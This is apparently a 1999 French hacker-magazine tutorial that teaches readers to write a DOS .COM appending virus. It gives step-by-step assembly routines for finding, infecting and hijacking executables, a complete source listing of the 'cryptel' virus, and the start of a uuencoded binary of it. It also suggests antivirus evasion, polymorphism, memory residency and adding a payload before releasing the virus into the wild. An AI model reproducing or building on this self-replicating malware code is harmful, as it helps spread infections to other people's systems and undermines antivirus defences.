(¯`'·.¸(¯`'·.¸_.·´`·._.·´`·.(¯`'·.¸ ¸.·'´¯).·´`·._.·´`·._¸.·'´¯)¸.·'´¯) ) Gentil Virus ( 4.11 ) Anonyme ( (_¸.·'´(_¸.·'´`·._.·´`·._.·´(_¸.·'´¯`'·.¸_)`·._.·´`·._.·´`'·.¸_)`'·.¸_) intro ~~~~~ okay bon y est... entrons dans ce monde tres marrant ke sont les virus. cet article est dedie a ceux ki ont peur des virus et a ceux ki veulent en apprendre plus. les autres vous pouvez sauter l'article :) J'estime ke vous avez deja d bases en coding asm, m^me si j'explikerai bien. Sinon je vous conseille de recup des tutoriaux de programmation assembleur. Je tiens d'abord a dire ke faire des virus destructeurs est vraiment nul, ke tout le monde peut le faire, et ke pour detruire il suffit d'un trojan. Autant concentrer ses efforts a rajouter des fonctionnalites. Comme je pense que vous n'etes po tous coder certifies, rassurez vous, j'essayerai de pas vous perdre en route, mais une connaissance minimale est requise. Pour ca, etudiez des tutoriaux d'assembleur, pas de virus. Nous n'etudirons ici ke l'infecteur de com a l'execution. J'aurai ptet l'occazion de reecrire ds ce mag si ca plait a 'Cryptel' :) et pourrai vous entretenir de sujets plus pointus :) Bon ... d'abord il vous faut des outils, si vous ne les avez pas deja. toolz: ~~~~~~ 1) un compileur (TASM, pas forcement la v5, v2+ suffit) 2) un debugger (Soft Ice v2.8 fait tres bien l'affaire) 3) un hex editeur (Hiew v5+ ou l'editeur de Norton Utilities) 4) des anti virus (AVs) ! (ben ouais koa fo tester) la je vous conseille AVP & DrWeb, tres tres bons. oubliez mcaffee et norton AV ! pis tbav & f-prot : bof bof 5) un generateur de file a infecter ('goat').. tjs utile pour tester.. 6) une liste des interruptions dos pour mieux comprendre/suivre 7) la liste commentee des instructions assembleur - au K ou 8) le luxe: VDAT par cicatrix - y'a tout sur les virus ! 9) du matos, des feuilles, du tabac - ca c'est pour les nerfs Vous trouverez les AVs (anti-virus) sur ftp.elf.stuba.sk/pub/pc/avir, ainsi ke les goats maker (y'en a +ieurs). Les outils se trouvent tous surement sur ma page : www.multimania.com/mdrg bon... on va pouvoir commencer: ok let's begin: ~~~~~~~~~~~~~~~ bon.. je vais parler ici des runtime infector appender. (infection a l'execution, et ki se rajoute simpelmnet a la fin du .com) Comment ne pas detruire : (ce ki est plus dur ke l'inverse) - un .com ne peut pas depasser 64ko ! donc notre virus devras checker la taille du host (file infected) + sa taille < 64ko - ne pas utiliser des structures trop bizarres si on ne les connait pas (comme les SFTs ki ne marchent pas ss win9x/NT et les reseaux novell) - bien tester, surtout si vous rajoutez de l'anti debug ou de l'anti heuristic (<- ou anti emul) - tjs penser aux erreurs eventuelles ki peuvent survenir. bon .. vous savez ce k'est un .com.. voila un shema simpliciste : ccccccccccccccccccccccccccccc (suite d'instrutions) notre virus devra prendre le controle avant l'execution normal du com (c'est po oblige, mais c'est + simple, & ici suffisant pour la demo) il devra ecrire une instruction de saut au debug du prog ki redirige vers son propre code colle a la suite du com. et conserver l'ancien debut ! la grande parite vvvvvv est consacree a l'infection d'autre proggys. en shema, ca donne ca: vccccccccccccccccccccccccccccvvvvvvvvvc ^ ^ ^ ancien debut (pas forcement ici) `. ,' `ùÄÄ saut vers ÄÄÄÄÄÄÄ--ù' voila pour la theorie (j'pense avoir perdu personne juske la) dans la pratik now: en 1er, il faut trouver une victime :) on peut utiliser l'interruption 21h fonction 4e/4f pour la simplicite, on va tenter de trouver des .coms ke dans notre repertiore courant. lisez l'appendix 'pour aller plus loin' pour faire des trucs + complike. voila pour le code: ----8<------------------- mov ah,1ah lea bx,dta int 21h ; le dos nous renverra le nom du fichier dans la DTA, et par defaut, c'est ; dans le PSP, l… ou il y a la ligne de commande. Comme le .com peut en ; avoir besoin, on deplace la DTA pour plus de securit‚. lea dx,tofind ; le masque c'est *.com mov ah,4eh xor cx,cx int 21h ; va chercher jc plus_rien ; flag Carry sur le retour ? aucun trouv‚ :( call try_inf ; sinon slurp ;) fait ton job bcl: mov ah,4fh int 21h ; trouve s'en un autre ! jc plus_rien ; flop ? call try_inf jmp bcl ; va cherche le prochain plus_rien: ;retour programme normal - on a fini :) try_inf: mov ah,2fh ; les fonction 4e/4f mettent le file trouv‚ int 21h ; dans la DTA.. alors on cherche ou elle est mov dx,bx ; es:bx = pointer vers DTA add dx,1eh ; et on fait pointer dx sur le nom call infect ;)~ ret tofind db '*.com',0 ----8<------------------- bon... ca y est, on a trouver un file a infecter, c kwa la suite ? une routine d'infection peut se faire comme ca :)~ 1) on lit l'ancien debut 2) kke tests; on regarde si le fichier est pas trop gros si c'est pas un exe camoufle s'il est pas deja infecter 3) on ecrit le virus a la fin du programme 4) on fabrique un nouvo debut ki redirige vers nous 5) on ecrit ce nouvo debut voici un example de code ki fait ca: ----8<------------------- infect: mov ax,3d02h ; ds:dx = seg:offset du file int 21h ; on ouvre le fichier en mode r/w xchg ax,bx ; + court ke 'mov bx,ax' ; optimisation ! mov ah,3fh lea dx,oldbeg mov cx,4 int 21h ; on lit le vrai debut pour plus tard cmp word ptr [oldbeg],'MZ' ; certains .com sont des EXE en fait je fin ; comme command.com ou edit.com cmp word ptr [oldbeg],'ZM' ; ne les trashont pas ! je fin ; ils ont 'ZM' ou 'MZ' au tt debut. cmp byte ptr [oldbeg+3],'' ; deja infecter ? je fin mov ax,4202h xor cx,cx ; = mov cx,0 (+ court) cwd ; = xor dx,dx (+ court) int 21h ; va a la fin du fichier mov dx,ax ; on en profite pour avoir la taille mov [pointer],dx ; on s'en servira plus tard :) mov cx,virsiz ; dans ax par retour, et on test si <Ä. add dx,cx ; prog+virus > 64ko | jc no_infect ; si c'est le cas -> bye | mov ah,40h | ; mov cx,virsiz pas besoin, car deja vrai Äù' lea dx,virus int 21h ; ecris le virus a la fin du .com mov ax,4200h xor cx,cx cwd int 21h ; reviens au debut du fichier ; maintenant, nous allons ecrire le nouvo debut. ; ce sera les 3 bytes situ‚s … [newbeg] ki correspondent a l'instruction ; e9 xx xx : jmp far xxxx - ici fin du fichier, donc xxxx=taille du fichier ; -3 a cause de la premiere instruction sub word ptr [pointer],3 ; le '' a la suite ne sera pas execut‚, c'est juste un 'marker' mov ah,40h mov cx,4 lea dx,newbeg int 21h fin: mov ah,3eh int 21h ret oldbeg db 0,0,0 newbeg db 0e9h pointer db 0,0 infmark db '' ; markeur d'infection (exemple) ----8<------------------- ok... voila pour une infection simple mais efficace.. maintenant, on va etudier le debut du virus. c'est po super ortodox comme tutorial, mais on a compris comment on arrive la donc le prog s'exec, et le jmp envoie sur le debut du virus coll‚ a la fin. le probleme c'est k'on peut pas savoir a kel offset on est, car ca depends de la taille du fichier, et un 'mov dx,offset tofind' ne marche plus, car 'tofind' n'est plus au m^me endroit en memoire. une solution consiste a connaitre l'offset ou l'on est et … l'utiliser pour calculer les pointeurs vers les donn‚es comme 'tofind' une solution est: call delta delta: pop bp sub bp,offset delta xplikation: 'call delta' mets l'offset de la commande d'apres sur la pile, on la recupere dans bp, et on calcule la difference entre l'offset actuel et celui initial dans le virus 1ere generation. Dans le code, au lieu d'un 'mov dx,offset tofind' vous devrez utiliser 'lea dx,bp+offset tofind' et vous serez sur ke ca marchera Ce serait mieux ke vous compreniez, mais c'est po 100% necessaire. il faudra donc reecrire les routines plus haut en tenant compte de ca. il ne nous reste plus ke le retour au vrai programme a etudier. il fo remettre le vrai debut en memoire a l'offset 100h, et jumper l…. proposition de code: ----8<------------------- mov si,100h mov ax,word ptr [bp+oldbeg] mov [si],ax mov ax,word ptr [bp+oldbeg+2] mov [si],ax jmp si ----8<------------------- et l… la boucle est boucl‚e. aller plus loin: ~~~~~~~~~~~~~~~~ - L… comme virus, on peut pas faire plus standard, donc les AVs vous capteront … coup s–r. (tin j'fais d efforts pour les accents) Vous pouvez utiliser des variantes dans chaque routine, ou rajouter de l'encryption ou du polymorphisme, avec de l'anti debug et de l'anti emul, mais ces sujets depassent ce tutorial ki doit rester pas trop gros :P - Vous aurez des suprisent, comme les .com ki s'inspectent avant d'executer ce dont ils ont etes fait pour. comme keyb.com ou win.com sous win9x. L… encore, c'est possible de feinter mais ca sort du tutorial. - Au lieu d'un runtime infector, vous pouvez coder un joli TSR (residant memoire) bien plus efficace, et avec plein d'autre possibilit‚s. - Plus simplement, vous pouvez ameliorer votre runtime en remontant les reps par la methode 'dotdot', ou en infectant les reps connus genre \windows\command. Vous pouvez aussi rajouter des fonctions comme enlever/remettre les attributs, la date du fichier, etc etc.... - Plus tard, vous pourrez rajouter des chtites fonctions pour ne pas se faire reperrer par les moniteurs en memoire comme tbmem/tbfile, ou pour rendre difficile le travail des AVs, m^me qd ils ont une copie du vir. - Je vous conseille aussi fortement d'optimiser: faire un virus le plus petit possible... pour cela utiliser des instructions et les registres 32bits . profitons de l'assembleur ! les virus sont un tres bon moyen d'apprendre ! A la fin, qd tout marche bien, vous pouvez inclure une 'payload' ; le truc drole, special, ki s'active selon les criteres de votre choix. Soyez original, ne faites pas de trucs stupides ki gacherait tt le travail genre payload destructrice (ki d'ailleurs diminue les chances de se repandre) L… vous etes libre. Je rajouterai qu'il ne faut pas lacher un virus dans la nature, a moins d'etre sur a 100% k'il marche. Je dirais m^me plus, ne lachez jamais vos premiers viriis, vous verez plus tard k'il etait pas tres safe. On peux pas tout savoir du 1er coup. Comme vous le constatez, nous n'avons juste k'effleurer l'iceberg. Si vous voulez plus, mailez le mag en disans 'on aime mandragore !', 'on veux plus d'article de lui!' :)) ùÄÄ mandragore ÄÄ---ùù voici le resultat: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .model tiny .code org 100h Start: jmp virus ; notre nouvo debut (ici bricol‚) db 90h ; pour faire 4 bytes db '' ; deja infect‚ mov ah,9 lea dx,mess int 21h int 20h mess db 'this file is infected by the cryptel virus!',13,10,'$' virus: call delta delta: pop bp sub bp,offset delta mov si,100h mov ax,word ptr [bp+oldbeg] mov [si],ax ; on remets le vrai debut tt de suite mov ax,word ptr [bp+oldbeg+2] ; car il sera ecras‚ plus tard mov [si+2],ax mov ah,1ah lea bx,bp+dta int 21h mov ah,4eh xor cx,cx lea dx,bp+tofind int 21h ; on cherche jc plus_rien call try_inf bcl: mov ah,4fh int 21h ; on continue jc plus_rien call try_inf jmp bcl plus_rien: mov si,100h jmp si ; retourne au vrai programme try_inf: mov ah,2fh int 21h ; on recup le nom ds la DTA mov dx,bx add dx,1eh call infect ;)~ ret infect: mov ax,3d02h int 21h ; ouverture r/w xchg ax,bx mov ah,3fh lea dx,bp+oldbeg mov cx,4 int 21h ; on lit le debut cmp word ptr [bp+oldbeg],'MZ' je fin cmp word ptr [bp+oldbeg],'ZM' ; exe ? je fin cmp byte ptr [bp+oldbeg+3],'' ; deja infected ? je fin mov ax,4202h xor cx,cx cwd int 21h ; vas a fin du fichier .... mov dx,ax mov word ptr [bp+pointer],dx mov cx,virsiz add dx,cx jc fin mov ah,40h lea dx,bp+virus int 21h ; .... pour ecrire le virus mov ax,4200h xor cx,cx cwd int 21h ; reviens au debut .... sub word ptr [bp+pointer],3 mov ah,40h mov cx,4 lea dx,bp+newbeg int 21h ; .... pour mettre le nouvo debut fin: mov ah,3eh int 21h ret ;--- zone des donn‚es ( regroup‚s pour plus de clart‚.. ) tofind db '*.com',0 oldbeg db 90h,90h,90h,90h ; notre debut (nop nop nop) newbeg db 0e9h pointer db 0,0 infmark db '' ; markeur d'infection db '[cryptel] by mandragore/DDT (feb 99)',13,10 ; (c) ;) db 'greetz to all french virii coders!' virsiz = $-virus ; taille du virus = ici - debut virus dta: end start ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ begin 644 cryptel.com MZSF0`[0)N@T!S2'-('1H:7,@9FEL92!I2!T:&4@8W)Y M<'1E;"!V:7)UT^`;X``8N&[P&)!(N&\0&)1`*T&HV>/P+- M(;1.,\F-END!S2%R#N@0`+1/S2%R!>@'`.OUO@`!_^:T+\TAB].#PA[H`0## MN`(]S2&3M#^-EN\!N00`S2&!ON\!6DUT1(&^[P%-6G0\@+[R`0-T-;@"0C/) MF2!M86YD